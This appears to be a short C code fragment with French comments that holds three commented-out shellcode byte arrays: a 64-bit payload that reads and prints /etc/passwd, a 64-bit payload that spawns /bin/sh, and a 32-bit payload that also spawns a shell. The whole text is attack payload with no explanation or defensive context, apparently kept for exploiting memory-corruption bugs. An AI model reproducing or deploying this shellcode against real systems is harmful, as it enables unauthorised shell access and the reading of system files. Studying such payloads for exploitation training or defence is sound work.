// shellcode en 64 bits pour faire afficher le fichier /etc/passwd /*char sc[]= "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff \x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40 \x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff \xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"; */ //shellcode en 64 bits pour lancer un shell /*char sc[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08 \x57\x54\x5f\x6a\x3b\x58\x0f\x05"; */ //shellcode en 32 bits pour lancer un shell /*char sc[] = "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x08 \xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; */